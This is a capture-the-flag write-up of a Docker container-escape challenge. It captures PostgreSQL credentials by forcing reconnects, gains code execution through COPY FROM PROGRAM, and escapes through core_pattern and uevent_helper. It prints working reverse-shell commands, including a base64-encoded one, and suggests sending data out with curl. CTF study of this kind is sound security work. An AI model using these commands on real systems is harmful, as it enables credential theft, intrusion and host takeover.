ZyVOP Logo
Content That Connects
SeriesAI NewsWhy ZyVOPJoin Discord
ZyVOP Logo
Content That Connects

Empowering developers and creators with cutting-edge insights, comprehensive tutorials, and innovative solutions for the digital future.

Content

  • Categories
  • Tags
  • Badges
  • Leaderboard
  • Write Article
  • Newsletter

Company

  • About Us
  • Why ZyVOP
  • API Documentation
  • Write for Us
  • Contact

Connect

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • DMCA Policy
  • Code of Conduct

© 2026 ZyVOP. Crafted with care for the developer community.

Made with ❤️ by the ZyVOP team
All systems operational
HomeWIZ-2025 Competition - Phase 2 (Contain Me If You Can)

WIZ-2025 Competition - Phase 2 (Contain Me If You Can)

I0veD
I0veDcyber security researcher
August 12, 2026
7 min read
WIZ-2025 Competition - Phase 2 (Contain Me If You Can)
Article

Intranet penetration

When you see that it is a bash terminal and it prompts for a container, you can quickly scan it with the scanning and detection tools of the host and container.(You can fight like this in ctf form. In actual combat, samples and dangerous moves need to be replaced) Here I usecdkRun it and see the results.

./cdk_linux_amd64  eva --full
CDK (Container DucK)
CDK Version(GitCommit): b4105424a2f329020c388e6e16a42e9bb31ef501
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/

[ Information Gathering - System Info ]
2025/09/11 06:23:07 current dir: /
2025/09/11 06:23:07 current user: root uid: 0 gid: 0 home: /root
2025/09/11 06:23:07 hostname: ca9119a40cd6
2025/09/11 06:23:07 debian ubuntu 24.04 kernel: 6.1.128
2025/09/11 06:23:07 Setuid files found:
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/bin/chfn
/bin/chsh
/bin/gpasswd
/bin/mount
/bin/newgrp
/bin/passwd
/bin/su
/bin/umount

[ Information Gathering - Services ]

[ Information Gathering - Commands and Capabilities ]
2025/09/11 06:23:07 available commands:
curl,wget,nc,netcat,find,ps,python3,apt,dpkg,ssh,git,vi,mount,base64,perl
2025/09/11 06:23:07 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
Cap decode: 0x00000000a80425fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP
[*] Maybe you can exploit the Capabilities below:

[ Information Gathering - Mounts ]
0:46 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/EMP2DHA65BRT6BTEOE6NYL4ZL6:/var/lib/docker/overlay2/l/PUDUWBLOUV4KDA226EAPOCLY7U:/var/lib/docker/overlay2/l/DADW4QRM2QMV7JYQKZLCFHSXW3:/var/lib/docker/overlay2/l/FJGPNHG4APZTCSAAQUZTLVUW2O,upperdir=/var/lib/docker/overlay2/8425a99beda13ae550e7c7587619c4b770191a7fd319dc466c39a68b71aa3c1e/diff,workdir=/var/lib/docker/overlay2/8425a99beda13ae550e7c7587619c4b770191a7fd319dc466c39a68b71aa3c1e/work
0:49 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
0:50 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:51 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
0:41 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
0:25 / /sys/fs/cgroup ro,nosuid,nodev,noexec,relatime - cgroup2 cgroup rw
0:48 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
0:52 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k
254:16 /containers/ca9119a40cd66a0128a6067f9617cb5384a76ee5f838acf1a4422ddca9f2304e/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/vdb rw
254:16 /containers/ca9119a40cd66a0128a6067f9617cb5384a76ee5f838acf1a4422ddca9f2304e/hostname /etc/hostname rw,relatime - ext4 /dev/vdb rw
254:16 /containers/ca9119a40cd66a0128a6067f9617cb5384a76ee5f838acf1a4422ddca9f2304e/hosts /etc/hosts rw,relatime - ext4 /dev/vdb rw
0:49 /bus /proc/bus ro,nosuid,nodev,noexec,relatime - proc proc rw
0:49 /fs /proc/fs ro,nosuid,nodev,noexec,relatime - proc proc rw
0:49 /irq /proc/irq ro,nosuid,nodev,noexec,relatime - proc proc rw
0:49 /sys /proc/sys ro,nosuid,nodev,noexec,relatime - proc proc rw
0:49 /sysrq-trigger /proc/sysrq-trigger ro,nosuid,nodev,noexec,relatime - proc proc rw
0:53 / /proc/acpi ro,relatime - tmpfs tmpfs ro
0:50 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:50 /null /proc/keys rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:50 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:54 / /proc/scsi ro,relatime - tmpfs tmpfs ro
0:55 / /sys/firmware ro,relatime - tmpfs tmpfs ro

[ Information Gathering - Net Namespace ]
container net namespace isolated.

[ Information Gathering - Sysctl Variables ]
2025/09/11 06:23:07 net.ipv4.conf.all.route_localnet = 0

[ Information Gathering - DNS-Based Service Discovery ]
error when requesting coreDNS: lookup any.any.svc.cluster.local. on 127.0.0.11:53: no such host
error when requesting coreDNS: lookup any.any.any.svc.cluster.local. on 127.0.0.11:53: no such host

[ Discovery - K8s API Server ]
2025/09/11 06:23:07 checking if api-server allows system:anonymous request.
err found while searching local K8s apiserver addr.:
err: cannot find kubernetes api host in ENV
api-server forbids anonymous request.
response:

[ Discovery - K8s Service Account ]
load K8s service account token error.:
open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory

[ Discovery - Cloud Provider Metadata API ]
2025/09/11 06:23:08 failed to dial Alibaba Cloud API.
2025/09/11 06:23:09 failed to dial Azure API.
2025/09/11 06:23:09 failed to dial Google Cloud API.
2025/09/11 06:23:09 failed to dial Tencent Cloud API.
2025/09/11 06:23:10 failed to dial OpenStack API.
2025/09/11 06:23:11 failed to dial Amazon Web Services (AWS) API.
2025/09/11 06:23:12 failed to dial ucloud API.

[ Exploit Pre - Kernel Exploits ]
2025/09/11 06:23:12 refer: https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded

[ Information Gathering - Sensitive Files ]
.dockerenv - /.dockerenv
.git/ - /CDK/.git/HEAD
.git/ - /CDK/.git/branches
.git/ - /CDK/.git/config
.git/ - /CDK/.git/description
.git/ - /CDK/.git/hooks
.git/ - /CDK/.git/hooks/applypatch-msg.sample
.git/ - /CDK/.git/hooks/commit-msg.sample
.git/ - /CDK/.git/hooks/fsmonitor-watchman.sample
.git/ - /CDK/.git/hooks/post-update.sample
.git/ - /CDK/.git/hooks/pre-applypatch.sample
.git/ - /CDK/.git/hooks/pre-commit.sample
.git/ - /CDK/.git/hooks/pre-merge-commit.sample
.git/ - /CDK/.git/hooks/pre-push.sample
.git/ - /CDK/.git/hooks/pre-rebase.sample
.git/ - /CDK/.git/hooks/pre-receive.sample
.git/ - /CDK/.git/hooks/prepare-commit-msg.sample
.git/ - /CDK/.git/hooks/push-to-checkout.sample
.git/ - /CDK/.git/hooks/sendemail-validate.sample
.git/ - /CDK/.git/hooks/update.sample
.git/ - /CDK/.git/index
.git/ - /CDK/.git/info
.git/ - /CDK/.git/info/exclude
.git/ - /CDK/.git/logs
.git/ - /CDK/.git/logs/HEAD
.git/ - /CDK/.git/logs/refs
.git/ - /CDK/.git/logs/refs/heads
.git/ - /CDK/.git/logs/refs/heads/main
.git/ - /CDK/.git/logs/refs/remotes
.git/ - /CDK/.git/logs/refs/remotes/origin
.git/ - /CDK/.git/logs/refs/remotes/origin/HEAD
.git/ - /CDK/.git/objects
.git/ - /CDK/.git/objects/info
.git/ - /CDK/.git/objects/pack
.git/ - /CDK/.git/objects/pack/pack-edfb1966ace737a2297b7fae98b7a4d40205250b.idx
.git/ - /CDK/.git/objects/pack/pack-edfb1966ace737a2297b7fae98b7a4d40205250b.pack
.git/ - /CDK/.git/objects/pack/pack-edfb1966ace737a2297b7fae98b7a4d40205250b.rev
.git/ - /CDK/.git/packed-refs
.git/ - /CDK/.git/refs
.git/ - /CDK/.git/refs/heads
.git/ - /CDK/.git/refs/heads/main
.git/ - /CDK/.git/refs/remotes
.git/ - /CDK/.git/refs/remotes/origin
.git/ - /CDK/.git/refs/remotes/origin/HEAD
.git/ - /CDK/.git/refs/tags
/.ssh/ - /CDK/test/scan_file_path/.ssh/id.rsa
/.bashrc - /etc/skel/.bashrc
/.bashrc - /home/ubuntu/.bashrc
/.bashrc - /root/.bashrc

[ Information Gathering - ASLR ]
2025/09/11 06:23:13 /proc/sys/kernel/randomize_va_space file content: 2
2025/09/11 06:23:13 ASLR is enabled.

[ Information Gathering - Cgroups ]
2025/09/11 06:23:13 /proc/1/cgroup file content:
0::/
2025/09/11 06:23:13 /proc/self/cgroup file added content (compare pid 1) :
root@ca9119a40cd6:/#

Image


It can be seen that bash is currently in a container environment, and there are no other obvious ways to use it. It is impossible to succeed with cdk.

Officials can spend money to purchase it and the prompt says that you can start from the network application layer.

Image

Netstat -ano and netstat -ato can find pgsql connections in the same network segment.

root@d8b79be9fa99:/# netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 127.0.0.11:34475        0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 172.19.0.3:51790        172.19.0.2:5432         ESTABLISHED keepalive (4.02/0/0)
udp        0      0 127.0.0.11:56876        0.0.0.0:*                           off (0.00/0/0)
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   Path
root@d8b79be9fa99:/# netstat -ato
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 127.0.0.11:34475        0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 d8b79be9fa99:51790      postgres_db.:postgresql ESTABLISHED keepalive (2.55/0/0)

Capture the packet with tcpdump to see if there is plain text:

tcpdump -i any -s0 -w package.pcap

tcpdump -r package.pcap -X

Image

All are select, indicating that this process has been actively connecting, but there is no other reliable clear text idea.

In addition, I saw keeplive in netstat’s chicken country before.

tcp        0      0 d8b79be9fa99:51790      postgres_db.:postgresql ESTABLISHED keepalive (2.55/0/0)

Here we try to trigger active disconnection to see if it will trigger the reconnection mechanism. A plaintext connection may be generated during reconnection:

(ps: Because the official platform always resets the environment. During this period, I tried many times. In order to ensure stability, I wrote the sh script)

#!/bin/bash

清理旧文件

rm -f auth_capture.pcap

安装必要工具

echo "安装网络工具..."
apt-get update && apt-get install -y dsniff hping3

启动tcpdump捕获流量

echo "启动流量捕获..."
tcpdump -i any -s0 -w auth_capture.pcap 'host 172.19.0.2 and port 5432' &
TCPDUMP_PID=$!

等待tcpdump启动

sleep 3

四次循环断开连接，每次等待一分钟重连

echo "开始四次断开连接循环..."
for i in {1..4}; do
echo "第$i次断开连接..."
# 使用tcpkill强制断开连接
tcpkill -i any host 172.19.0.2 and port 5432 &
TCPKILL_PID=$!
sleep 5
kill $TCPKILL_PID 2>/dev/null
# 使用hping3发送RST包
echo "发送RST包..."
hping3 -c 1 -R -s 44796 -p 5432 172.19.0.2 2>/dev/null
# 等待一分钟让客户端重连并捕获流量
echo "等待客户端重连并捕获流量（60秒）..."
sleep 60
done

额外等待10秒确保最后捕获完整

echo "最后捕获10秒..."
sleep 10

停止tcpdump

echo "停止流量捕获..."
kill -SIGTERM $TCPDUMP_PID
sleep 2
kill -9 $TCPDUMP_PID 2>/dev/null

检查捕获结果

if [ -s auth_capture.pcap ]; then
echo "捕获成功！文件大小: $(ls -lh auth_capture.pcap | awk '{print $5}')"
echo "流量数据已保存到: auth_capture.pcap"
echo "总捕获时间超过4分钟，请使用以下命令手动分析："
echo " strings auth_capture.pcap | grep -i -E 'user|password|postgres'"
echo " tcpdump -A -n -r auth_capture.pcap 'tcp port 5432'"
echo " tshark -r auth_capture.pcap -Y 'tcp.port == 5432'"
else
echo "错误：捕获文件为空或未创建"
exit 1
fi

tcpdump -r auth_capture.pcap -X

Image

There is a pgsql account password here

psql -h 172.19.0.2 -U user -d mydatabase
SecretPostgreSQLPassword

Log in and try to see if RCE works

CREATE TABLE get_flag (output text);
COPY get_flag FROM PROGRAM 'sudo cat /proc/1/root/etc/passwd';
SELECT * FROM get_flag;
CREATE TABLE

Image

The command can indeed be executed. At this time, we can pop up a rebound shell to help us escape later. Here, first use Tmux to create a new window to receive the rebound shell.
Install and executescreenCreate session

Execute nc -lvvp 8080 to monitor

Then it starts to rebound

CREATE TABLE tmp(t TEXT);
COPY tmp FROM PROGRAM '/bin/bash -c "/bin/bash -i >& /dev/tcp/172.19.0.3/8080 0>&1"';
SELECT * FROM tmp;
DROP TABLE tmp;

执行后 Ctrl + a + p切换回来

Image

Rebound shell successfully received

Image

sudo -l found that it is sudoer group permissions. Direct sudo su

However, it is not interactive at this time. You need to upgrade to TTY. Download a python here and enter tty.

Image
apk add python3

python3 -c 'import pty; pty.spawn("/bin/bash")'
032c93ff87db:/var/lib/postgresql/data# sudo su
sudo su
/var/lib/postgresql/data # id
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/var/lib/postgresql/data # ^[[24;28R

It’s better to download cdk now

However, after scanning, the scroll wheel cannot be used, resulting in the inability to browse the scan results.

Image

Image

Image

Here we can use curl to transfer the results to platforms such as Kuailian. If it is actual combat, it is vps or your storage bucket (suitable for large amounts of data).


proc escape

According to the scan results, we can see that core_pattern can use the host host. Here we try proc escape.

The same is done by opening a new window on screen and turning on nc monitoring.

Image

Ctrl + aThen"(double quotes), all windows will be listed for you to select.

Image

Return to sql-root-session to trigger escape

Image
echo '|/bin/bash -c echo${IFS%%??}L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xOS4wLjMvNDU2MSAwPiYx|base64${IFS%%??}-d|/bin/bash' > /proc/sys/kernel/core_pattern 
sh -c 'kill -11 "$$"'

Image

Image

successfully received shell

Image

flag is in the root directory

uevent_helper escape

principle:


I learned another escape method from the manesec guy’s article. For details, see:https://manesec.github.io/2025/08/24/2025/61-WIZ-Contain-Me-If-You-Can/

https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts#sys-kernel-uevent_helper

Write the rebound shell to the host directory

# Creates a payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
这里修改为
\
echo '#!/bin/sh' > /evil-helper && echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/172.19.0.3/8081 0>&1"' >> /evil-helper
\\

chmod +x /evil-helper
host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab

Sets uevent_helper to /path/payload

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

向 /sys/class/mem/null/uevent 写入 change，触发一个内核 uevent

echo change > /sys/class/mem/null/uevent

or else

echo /sbin/poweroff > /sys/kernel/uevent_helper

Reads the output

cat /output

principle：

Image

Create a new screen to monitor 8081

Image

trigger

Image

Successfully obtained the rebound shell

Image


againstEvent_helper escape techniques will be followed by more extensions, special articles, and shooting ranges. Looking forward to the guidance of the master

I0veD

I0veD

cyber security researcher

Cloud Native & AI Sec Researcher Red Team | BAS | K8s | Evasion 20+ CVEs | CNVD/CNNVD Contributor 🛡️ AI-Driven Blue Team 👇 Works

Comments (0)

Login to post a comment.